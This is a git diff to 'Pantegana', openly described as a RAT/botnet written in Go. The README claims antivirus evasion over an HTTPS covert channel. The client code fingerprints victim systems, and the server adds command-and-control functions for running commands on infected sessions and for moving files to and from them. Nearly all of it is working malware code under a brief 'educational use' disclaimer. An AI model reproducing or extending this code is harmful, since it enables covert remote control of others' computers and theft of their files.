diff --git a/README.md b/README.md index 0b31e81..61a3fbc 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,18 @@ -# Pantegana - a RAT/Botnet coded in Go -FOR EDUCATIONAL AND RESEARCH USE ONLY +# Pantegana - A Botnet RAT Made With Go +###
FOR EDUCATIONAL AND RESEARCH USE ONLY
+ + ▄▀▀▄▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀▀█▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀█▄ + █ █ █ ▐ ▄▀ ▀▄ █ █ █ █ █ █ ▐ ▐ ▄▀ ▐ █ ▐ ▄▀ ▀▄ █ █ █ █ ▐ ▄▀ ▀▄ + ▐ █▀▀▀▀ █▄▄▄█ ▐ █ ▀█ ▐ █ █▄▄▄▄▄ █ ▀▄▄ █▄▄▄█ ▐ █ ▀█ █▄▄▄█ + █ ▄▀ █ █ █ █ █ ▌ █ █ █ ▄▀ █ █ █ ▄▀ █ + ▄▀ █ ▄▀ ▄▀ █ ▄▀ ▄▀▄▄▄▄ ▐▀▄▄▄▄▀ ▐ █ ▄▀ ▄▀ █ █ ▄▀ + █ ▐ ▐ █ ▐ █ █ ▐ ▐ ▐ ▐ █ ▐ ▐ ▐ + ▐ ▐ ▐ ▐ ▐ ## Features: + - Pretty and clean interactive shell (using grumble) - HTTPS covert channel for communications - - Undetected by AVs by nature + - Undetected by AVs (behavioral AVs might detect it if its not running on port 443) - Direct command execution (not using bash or sh) - Multiple sessions handling - File Upload/Download @@ -15,10 +24,14 @@ FOR EDUCATIONAL AND RESEARCH USE ONLY - bash/cmd/psh shell dropping - TOR routing? -## Usage: +## Building: To build the program you will need `openssl` and `go-bindata`. Use: `go get -u github.com/go-bindata/go-bindata/...` + When running `make` you will need to specify any external IP or domain to include in the SSL certificate. +***This is done to prevent people stealing your binary and using it for malicious reasons.*** Example: `make IP=1.1.1.1 DOMAIN=example.com`. If you do not want to specify an IP or a domain, use `127.0.0.1` and `localhost` respectively. -Example: `make IP=127.0.0.1 DOMAIN=localhost` +Example: `make IP=127.0.0.1 DOMAIN=localhost` + +Check Makefile for different build/running options diff --git a/client/client.go b/client/client.go index 446a192..e030174 100644 --- a/client/client.go +++ b/client/client.go @@ -124,10 +124,10 @@ func RunClient(host string, port int) { log.SetOutput(ioutil.Discard) } - client := ClientSetup() - RunFingerprinter() + client := ClientSetup() + for { cmd, hoststr := RequestCommand(client, host, port) Middleware(client, cmd, hoststr) diff --git a/client/fingerprinter.go b/client/fingerprinter.go index 3aeb080..56754be 100644 --- a/client/fingerprinter.go +++ b/client/fingerprinter.go @@ -6,6 +6,7 @@ import ( "os/exec" "runtime" "strings" + "sync" ) type SysInfo struct { @@ -30,32 +31,44 @@ func GetCurrentSysInfo() SysInfo { return clientSysInfo } -func (i *SysInfo) fingerprintLinux() { - out, err := exec.Command("uname", "-rn").Output() - if err == nil { - split := strings.SplitN(trim(out), " ", 2) - i.Name = split[0] - i.Kernel = split[1] - } - out, err = exec.Command("lsb_release", "-d").Output() - if err == nil { - i.Distro = strings.SplitN(trim(out), "\t", 2)[1] - } - out, err = exec.Command("whoami").Output() - if err == nil { - i.User.Name = trim(out) - } - out, err = exec.Command("id", "-u").Output() - if err == nil { - i.User.Id = trim(out) - } - out, err = exec.Command("groups").Output() - if err == nil { - i.User.Groups = trim(out) - } - - dbg, _ := json.MarshalIndent(i, "", " ") - log.Println(string(dbg)) +func (i *SysInfo) fingerprintLinux(wg *sync.WaitGroup) { + go func() { + out, err := exec.Command("uname", "-rn").Output() + if err == nil { + split := strings.SplitN(trim(out), " ", 2) + i.Name = split[0] + i.Kernel = split[1] + } + defer wg.Done() + }() + go func() { + out, err := exec.Command("lsb_release", "-d").Output() + if err == nil { + i.Distro = strings.SplitN(trim(out), "\t", 2)[1] + } + defer wg.Done() + }() + go func() { + out, err := exec.Command("whoami").Output() + if err == nil { + i.User.Name = trim(out) + } + defer wg.Done() + }() + go func() { + out, err := exec.Command("id", "-u").Output() + if err == nil { + i.User.Id = trim(out) + } + defer wg.Done() + }() + go func() { + out, err := exec.Command("groups").Output() + if err == nil { + i.User.Groups = trim(out) + } + defer wg.Done() + }() } // TODO: fingerprintWindows @@ -73,6 +86,8 @@ func RunFingerprinter() { Arch: runtime.GOARCH, } + var wg sync.WaitGroup + switch runtime.GOOS { case "windows": go clientSysInfo.fingerprintWindows() @@ -80,8 +95,15 @@ func RunFingerprinter() { go clientSysInfo.fingerprintOsx() default: // probably some kind of bsd so... - go clientSysInfo.fingerprintLinux() + wg.Add(5) // Set here the number of commands to execute + go clientSysInfo.fingerprintLinux(&wg) } + + // Wait for commands to finish + wg.Wait() + + dbg, _ := json.MarshalIndent(clientSysInfo, "", " ") + log.Println(string(dbg)) } // Helper func to trim '/n' and convert byte arr to string diff --git a/go.mod b/go.mod index c1274d1..a1c4c51 100644 --- a/go.mod +++ b/go.mod @@ -4,9 +4,8 @@ go 1.16 require ( github.com/desertbit/grumble v1.1.1 - github.com/fatih/color v1.12.0 // indirect + github.com/fatih/color v1.12.0 github.com/hashicorp/go-multierror v1.1.1 // indirect - github.com/matoous/go-nanoid/v2 v2.0.0 github.com/mattn/go-isatty v0.0.13 // indirect golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect ) diff --git a/go.sum b/go.sum index 7320d47..18f5754 100644 --- a/go.sum +++ b/go.sum @@ -35,10 +35,6 @@ github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= -github.com/matoous/go-nanoid v1.5.0 h1:VRorl6uCngneC4oUQqOYtO3S0H5QKFtKuKycFG3euek= -github.com/matoous/go-nanoid v1.5.0/go.mod h1:zyD2a71IubI24efhpvkJz+ZwfwagzgSO6UNiFsZKN7U= -github.com/matoous/go-nanoid/v2 v2.0.0 h1:d19kur2QuLeHmJBkvYkFdhFBzLoo1XVm2GgTpL+9Tj0= -github.com/matoous/go-nanoid/v2 v2.0.0/go.mod h1:FtS4aGPVfEkxKxhdWPAspZpZSh1cOjtM7Ej/So3hR0g= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= diff --git a/server/cli.go b/server/cli.go index f48389c..1fccf1b 100644 --- a/server/cli.go +++ b/server/cli.go @@ -1,29 +1,49 @@ package server import ( - "errors" + "fmt" + "strings" "github.com/desertbit/grumble" + "github.com/fatih/color" ) var cli = grumble.New(&grumble.Config{ - Name: "pantegana", - Description: "A RAT/Botnet written in Go", + Name: "pantegana", + Description: "A RAT/Botnet written in Go", + HistoryFile: "/tmp/pantegana.hist", + Prompt: "[pantegana]$ ", + PromptColor: color.New(color.FgHiCyan, color.Bold), + HelpHeadlineColor: color.New(color.FgCyan), + HelpHeadlineUnderline: true, + HelpSubCommands: true, Flags: func(f *grumble.Flags) { - f.String("d", "directory", "DEFAULT", "set an alternative directory path") f.Bool("v", "verbose", false, "enable verbose mode") }, }) func init() { + cli.SetPrintASCIILogo(func(a *grumble.App) { + a.Println() + a.Println("▄▀▀▄▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀▀█▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀█▄ ") + a.Println("█ █ █ ▐ ▄▀ ▀▄ █ █ █ █ █ █ ▐ ▐ ▄▀ ▐ █ ▐ ▄▀ ▀▄ █ █ █ █ ▐ ▄▀ ▀▄ ") + a.Println("▐ █▀▀▀▀ █▄▄▄█ ▐ █ ▀█ ▐ █ █▄▄▄▄▄ █ ▀▄▄ █▄▄▄█ ▐ █ ▀█ █▄▄▄█ ") + a.Println(" █ ▄▀ █ █ █ █ █ ▌ █ █ █ ▄▀ █ █ █ ▄▀ █ ") + a.Println(" ▄▀ █ ▄▀ ▄▀ █ ▄▀ ▄▀▄▄▄▄ ▐▀▄▄▄▄▀ ▐ █ ▄▀ ▄▀ █ █ ▄▀ ") + a.Println("█ ▐ ▐ █ ▐ █ █ ▐ ▐ ▐ ▐ █ ▐ ▐ ▐ ") + a.Println("▐ ▐ ▐ ▐ ▐ ") + a.Println() + }) + cli.AddCommand(&grumble.Command{ - Name: "listen", - Help: "runs the listener", + Name: "listen", + Help: "runs the listener", + Aliases: []string{"l"}, Flags: func(f *grumble.Flags) { - f.Int("p", "port", 1337, "The port to listen (443 needs root but reccomend)") - f.BoolL("notls", false, "Set to remove encryption. Use mostly in testing.") + f.Int("p", "port", 1337, "the port to listen (443 needs root but reccomend)") + f.BoolL("notls", false, "set to remove encryption. Use mostly in testing.") }, Args: func(a *grumble.Args) { @@ -37,37 +57,43 @@ func init() { }) cli.AddCommand(&grumble.Command{ - Name: "exec", - Help: "executes a command to a session", + Name: "exec", + Help: "executes a command to a session", + Aliases: []string{"e"}, Flags: func(f *grumble.Flags) { - f.Int("s", "session", -1, " * The sesssion to execute the command to.") + f.Int("s", "session", -1, " * the sesssion to execute the command to.") }, Args: func(a *grumble.Args) { - a.String("cmd", "command to execute") + a.StringList("cmd", "command to execute") }, Run: func(c *grumble.Context) error { if c.Flags.Int("session") == -1 { - return errors.New("Please define a session with -s") + return ErrUndefinedSession + } + sessionId := c.Flags.Int("session") + sessionObj, err := GetSession(sessionId) + if err != nil { + return err } - session := c.Flags.Int("session") - go func() { - err := Sessions[session].WriteToCmd(c.Args.String("cmd")) + go func(cmd string) { + err = sessionObj.WriteToCmd(cmd) if err != nil { cli.PrintError(err) } - }() + }(strings.Join(c.Args.StringList("cmd"), " ")) return nil }, }) cli.AddCommand(&grumble.Command{ - Name: "close", - Help: "closes the listener", + Name: "close", + Help: "closes the listener", + Aliases: []string{"c"}, Run: func(c *grumble.Context) error { err := CloseServer() @@ -80,14 +106,97 @@ func init() { }) cli.AddCommand(&grumble.Command{ - Name: "sessions", - Help: "Lists the sessions", + Name: "sessions", + Help: "lists currently open sessions", + Aliases: []string{"s"}, - // TODO: make this fancy Run: func(c *grumble.Context) error { PrettyPrintSessions() return nil }, }) + cli.AddCommand(&grumble.Command{ + Name: "upload", + Help: "transfer a file from a session to the server (ends up in uploads dir)", + Aliases: []string{"up"}, + + Args: func(a *grumble.Args) { + a.String("source", "the name of the file on the session's system") + a.String("destname", "the name that the file will have on the server's uploads dir", grumble.Default("")) + }, + + Flags: func(f *grumble.Flags) { + f.Int("s", "session", -1, " * the sesssion to execute the command to.") + }, + + Run: func(c *grumble.Context) error { + if c.Flags.Int("session") == -1 { + return ErrUndefinedSession + } + sessionId := c.Flags.Int("session") + sessionObj, err := GetSession(sessionId) + if err != nil { + return err + } + + source := c.Args.String("source") + dest := c.Args.String("destname") + if dest == "" { + dest = source + } + + go func() { + err = sessionObj.WriteToCmd(fmt.Sprintf("__upload__ %s %s", source, dest)) + if err != nil { + cli.PrintError(err) + } + }() + + return nil + }, + }) + + cli.Stdout() + + cli.AddCommand(&grumble.Command{ + Name: "download", + Help: "transfer a file from the server to a session (ends up in download dir)", + Aliases: []string{"dl"}, + + Args: func(a *grumble.Args) { + a.String("source", "the name of the file on the servers's system") + a.String("destname", "the name that the file will have on the session's uploads dir", grumble.Default("")) + }, + + Flags: func(f *grumble.Flags) { + f.Int("s", "session", -1, " * the sesssion to execute the command to.") + }, + + Run: func(c *grumble.Context) error { + if c.Flags.Int("session") == -1 { + return ErrUndefinedSession + } + sessionId := c.Flags.Int("session") + sessionObj, err := GetSession(sessionId) + if err != nil { + return err + } + + source := c.Args.String("source") + dest := c.Args.String("destname") + if dest == "" { + dest = source + } + + go func() { + err = sessionObj.WriteToCmd(fmt.Sprintf("__download__ %s %s", source, dest)) + if err != nil { + cli.PrintError(err) + } + }() + + return nil + }, + }) } diff --git a/server/handler.go b/server/handler.go index e7a312f..aac90e7 100644 --- a/server/handler.go +++ b/server/handler.go @@ -20,7 +20,7 @@ func GetCmd(w http.ResponseWriter, req *http.Request) { index, isNew := CreateSession(token) - session := Sessions[index] + sessionObj, _ := GetSession(index) if isNew { cli.Printf("[+] New connection with session id: %d\n", index) @@ -28,20 +28,27 @@ func GetCmd(w http.ResponseWriter, req *http.Request) { fmt.Fprint(w, "__sysinfo__") } else { cli.Printf("[+] Got request for cmd from session id: %d\n", index) + + // Set session as open + sessionObj.Open = true + var command string for { select { - case str := <-session.Cmd: + case str := <-sessionObj.Cmd: command = str - fmt.Println(command) + fmt.Fprintf(w, command) + case <-req.Context().Done(): + cli.Printf("[-] Connection closed from session: %d\n", index) + sessionObj.Open = false + w.WriteHeader(444) // 444 - Connection Closed Without Response } break } - fmt.Fprintf(w, command) if command == "quit" { - Sessions[index].Open = false + sessionObj.Open = false cli.Printf("[+] Session %d quit.\n", index) } } diff --git a/server/secondaryhandlers.go b/server/secondaryhandlers.go index b59da25..e2af7ff 100644 --- a/server/secondaryhandlers.go +++ b/server/secondaryhandlers.go @@ -88,13 +88,20 @@ func FileDownload(w http.ResponseWriter, req *http.Request) { func GetSysinfo(w http.ResponseWriter, req *http.Request) { if req.Method == "POST" { index := FindSessionIndexByToken(req.Header.Get("token")) + if index == -1 { + cli.Printf("[-] Error while getting session from token: %s\n", ErrUnrecognizedSessionToken) + return + } cli.Println("[+] Got system information from session: ", index) body, _ := ioutil.ReadAll(req.Body) defer req.Body.Close() - err := json.Unmarshal(body, &Sessions[index].SysInfo) + sessionObj, _ := GetSession(index) + + err := json.Unmarshal(body, &sessionObj.SysInfo) if err != nil { cli.Printf("[-] Error while parsing the JSON system information: %s\n", err) + return } w.Header().Set("Connection", "close") diff --git a/server/session.go b/server/session.go index ee573bb..da4643a 100644 --- a/server/session.go +++ b/server/session.go @@ -16,15 +16,18 @@ type Session struct { SysInfo client.SysInfo } -var Sessions []Session +var sessions []Session // errors -var ErrSessionIsNotOpen = errors.New("The requested session is not open.") +var ErrSessionIsClosed = errors.New("The requested session is closed.") +var ErrSessionDoesNotExist = errors.New("The requested session does not exist.") +var ErrUnrecognizedSessionToken = errors.New("The requested session token does not corelate with any current sessions.") +var ErrUndefinedSession = errors.New("Please define a session with -s.") func CreateSession(token string) (int, bool) { // initialize sessions array - if Sessions == nil { - Sessions = make([]Session, 0) + if sessions == nil { + sessions = make([]Session, 0) } index := FindSessionIndexByToken(token) @@ -35,25 +38,31 @@ func CreateSession(token string) (int, bool) { session := Session{ Token: token, Cmd: make(chan string), - Open: true, } - Sessions = append(Sessions, session) + sessions = append(sessions, session) - return len(Sessions) - 1, true + return len(sessions) - 1, true +} + +func GetSession(idx int) (*Session, error) { + if idx > len(sessions) || idx < 0 { + return &Session{}, ErrSessionDoesNotExist + } + return &sessions[idx], nil } func (s *Session) WriteToCmd(command string) error { if s.Open == false { - return ErrSessionIsNotOpen + return ErrSessionIsClosed } s.Cmd <- command return nil } func FindSessionIndexByToken(token string) int { - for i := 0; i < len(Sessions); i++ { - if Sessions[i].Token == token { + for i := 0; i < len(sessions); i++ { + if sessions[i].Token == token { return i } } @@ -64,7 +73,7 @@ func PrettyPrintSessions() { header := "|| Sessions ||" spacer := strings.Repeat("=", len(header)) output := fmt.Sprintf("%s\n%s\n%s\n", spacer, header, spacer) - for i, session := range Sessions { + for i, session := range sessions { if session.Open { fragment := fmt.Sprintf("|| ID: %d - Token: %s", i, session.Token) sessionInfo := fmt.Sprintf("%s%s||\n%s\n", fragment, strings.Repeat(" ", len(header)-len(fragment)-2), spacer)